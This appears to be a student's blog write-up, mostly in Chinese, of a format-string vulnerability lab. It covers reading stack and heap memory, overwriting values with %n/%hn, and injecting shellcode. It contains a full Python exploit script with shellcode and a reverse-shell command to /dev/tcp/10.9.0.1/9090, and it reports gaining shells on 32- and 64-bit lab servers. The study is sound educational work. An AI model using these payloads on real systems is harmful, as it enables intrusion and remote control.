Format String

overview

是通过printf系列的变量来执行恶意代码等

The way how the input data is fed into the printf() function is unsafe, and it leads to a format-string vulnerability

最终目标是将代码注入到服务器程序的堆栈中,然后触发代码

Task 1: Crashing the Program

针对第一个task,有两个方法:1 是针对于不能读的地方进行读取,2 是针对于不能写的地方进行写

1

但是运行后发现会return properly,仔细分析后发现是由于%d只是简单的访问栈上面中的参数,并且把参数换成10进制来输出,并不会访问什么不该访问的

所以,我们通过%s来进行攻击

2

可以发现此时没有正确的return

复盘

在这一题里面,我们想让程序不能正确返回的思路是正确的,读取内存当中不能被读取的内容或者往内存当中不能写的地方写

printf函数原型

3

Task 2: Printing Out the Server Program’s Memory

此任务的目标是让服务器从内存中打印出一些数据(我们将继续使用10.9.0.5)。数据将在服务器端打印出来,因此攻击者无法看到它。因此,这不是一个有意义的攻击,但此任务中使用的技术对于后续任务至关重要。

Task 2.A: Stack Data

此时,buffer作为局部变量是放在栈上面的,一共有1500个字节,在这里,我们需要知道在format string和buf起始地址之间的相对偏移量

首先,我们能够知道bufferr在栈上面的位置是0xffffd660

4

原本想着是通过gdb调试来看到printf里面的return address,后来发现是自己傻了,那么多次调用printf,怎么看。。。

后来就直接通过调整%x的数量来看了。。。

当为%数量为64的时候,发现会正好

5)6

也就是说,buffer起始的字符串会是第64个参数

Task 2.B: Heap Data

在这里的话,就是需要我们来打印作为全局变量存放在heap当中的secret字符串

char *secret = "A secret message\n";

最开始想到的就是%s,然后将format string上面的第一个参数设置为&secret,但是问题怎么进行修改

之后想到能直接读取第64位的参数,而这个参数正好是buffer的起始位置

我们根据提示能够得到对应的在heap当中的地址

7

然后构造payload

9

可以看到,对应字符串内容被打印出来了

8

复盘

这个task当中最开始的目标就是打印出来对应的数据,注意在printf当中打印的规则,首先会将buffer当中的常规的字符打印出来,而遇到对应的占位符的时候,会根据参数来进行解析,以%s为例,当在buffer中遇到的时候,会来解析,比如将第一个参数对应存储位置里面的数据作为地址来进行寻址,然后打印出内存当中对应位置的字符串

Task 3: Modifying the Server Program’s Memory

这个task的目标是修改对应的target的值/一些影响程序执行的值,首先明确target是存放在heap当中的,然后根据提示信息来获取target的位置信息

10

可以看到地址为0x080e5068

Task 3.A: Change the value to a different value

修改内存当中数据的一个重要方式是通过%n

构造payload

12

11

可以看到对应的target的值已经从原来的0x11223344变成了0x4

Task 3.B: Change the value to 0x5000

因为我们现在只是通过%n将对应的位置修改为了0x4,而目标是修改为0x5000,

这里我们需要定向修改,因此必须输出额外的字符作为填充。这里我们插入了%1276x(1276 = 0x4FC = 0x500 - 0x4),程序会把输出的值强制扩展到1276位

构造payload

114

13

Task 3.C: Change the value to 0xAABBCCDD

当我们需要把内存中的某个值修改为一个非常大的数时,如果直接使用%n写入的话,那么需要提前输出数量巨大的字符,这会消耗非常多的时间,因而,如果我们希望改写一个地址,最好使用%hn,他一次写入两个字节而非四个,此外还有%hhn,一次写入一个字节
于是,我们试图向0x080e5068和0x080e506A中分别写入0xCCDD和0xAABB此时问题出现了:当我们需要把内存中的某个值修改为一个非常小的数时,因为我们在前面必须输出一些字符以确定修改的地址,那么看上去,我们所能修改的值看上去是有下界的(比如在这里,看上去我们不能实现小于8的值的写入),但是实际上,我们可以通过溢出来解决这个问题——因为我们只写两个字节,所以0x0000和0x10000的效果是一样的,因此高低地址要填充的字节数可以如下计算:
低地址 : low_adr - 8 if low_adr > 8 else low_adr + 0x10000 - 8 = 65528
高地址 : high_adr - low_adr if high_adr > low_adr else high_adr + 0x10000 - low_adr = 65433

在这里,我们所需要算的是0XCCDD - 8 = 52,437,0xAABB - 0xCCDD = 56,798(注意借位)

构造payload

16

15

Task 4: Inject Malicious Code into the Server Program

Q1:我们可以根据提示信息来获取buffer的起始位置为0xffffd650

我们先来通过gdb来找myprintf中return 的地址

17

所以return address当中应该放的是0x8049f7e

之后来找return address的内存位置,根据之前打印的stack上面的情况,可以看到return address所在位置是第11个参数,与buffer起始位置相距212个字节,之后相减,0xffffd650 - 0xd4 = 0xFFFFD57C

Q2:64个%x

构造payload

此时,将shellcode放在距离buffer起始位置0x100处,地址位0xffffd750

其中,0xFFFFD57C需要存放0xd750,- 8后需要填充55112,而较高位0xFFFFD57E需要存放0xFFFF,需要填充0xFFFF - 0xD750 = 0x28AF =10415

#!/usr/bin/python3
import sys

# 32-bit Generic Shellcode 
shellcode_32 = (
   "\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"
   "\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
   "\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
   "/bin/bash*"
   "-c*"
   # The * in this line serves as the position marker         *
  #"/bin/ls -l; echo '===== Success! ======'                  *"
   "/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1           *"
   "AAAA"   # Placeholder for argv[0] --> "/bin/bash"
   "BBBB"   # Placeholder for argv[1] --> "-c"
   "CCCC"   # Placeholder for argv[2] --> the command string
   "DDDD"   # Placeholder for argv[3] --> NULL
).encode('latin-1')


# 64-bit Generic Shellcode 
shellcode_64 = (
   "\xeb\x36\x5b\x48\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x48"
   "\x89\x5b\x48\x48\x8d\x4b\x0a\x48\x89\x4b\x50\x48\x8d\x4b\x0d\x48"
   "\x89\x4b\x58\x48\x89\x43\x60\x48\x89\xdf\x48\x8d\x73\x48\x48\x31"
   "\xd2\x48\x31\xc0\xb0\x3b\x0f\x05\xe8\xc5\xff\xff\xff"
   "/bin/bash*"
   "-c*"
   # The * in this line serves as the position marker         *
   "/bin/ls -l; echo '===== Success! ======'                  *"
   "AAAAAAAA"   # Placeholder for argv[0] --> "/bin/bash"
   "BBBBBBBB"   # Placeholder for argv[1] --> "-c"
   "CCCCCCCC"   # Placeholder for argv[2] --> the command string
   "DDDDDDDD"   # Placeholder for argv[3] --> NULL
).encode('latin-1')

N = 1500
# Fill the content with NOP's
content = bytearray(0x90 for i in range(N))

# Choose the shellcode version based on your target
shellcode = shellcode_32

# Put the shellcode somewhere in the payload
start = 0x100             # Change this number
content[start:start + len(shellcode)] = shellcode

############################################################
#
#    Construct the format string here
# 
############################################################

ret_low = 0xFFFFD57C
content[0:4]  =  (ret_low).to_bytes(4,byteorder='little')
ret_high = 0xFFFFD57E
content[4:8]  =  (ret_high).to_bytes(4,byteorder='little')

s = "%55112x%64$hn%10415x%65$hn"
fmt  = (s).encode('latin-1')
content[8:8+len(fmt)] = fmt

# Save the format string to file
with open('badfile', 'wb') as f:
  f.write(content)

18

可以看到reverse shell成功

Task 5: Attacking the 64-bit Server Program

您的工作是构造有效负载以利用服务器的格式字符串漏洞。您的最终目标是在目标服务器上获得一个根shell。

首先就是先打印出来栈上面的信息

19

然后发现buffer起始位置是第34个参数

然后开始找return address的位置,根据提示信息中的frame pointer来找,frame pointer是0x00007fffffffe4c0,所以return address所在的位置就应该是0x00007fffffffe4c8

问题&解决

printf在遇一个字节的0的时候会停止解析,解决方法就是将对应的地址放在buffer的比较高的地方

要修改位于0x00007fffffffe4c8的return address的值,仍然将shellcode放在距离buffer0x100的地方,所以此时shellcode的起始位置是0x00007fffffffe680

所以0x00007fffffffe4c8的低两位需要放0xe680,0x00007fffffffe4cA的中两位需要放0xffff,0x00007fffffffe4cc的高两位放0x7fff,最高位放0x0000

按照这个来修改对应文件,在这里没有贴上来,搞清思路了就基本没有什么难点。关于printf具体实现,可参考:printf 函数实现的深入剖析

然后运行结果如下:

20

可以看到reverse shell成功

Task 6

warning信息

format not a string literal and no format arguments

是在说不是在格式化参数,解决方案,改为printf(“%s”,msg)即可,此时没有warning

21

22


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!

生物技术实验报告 上一篇
The information of School 下一篇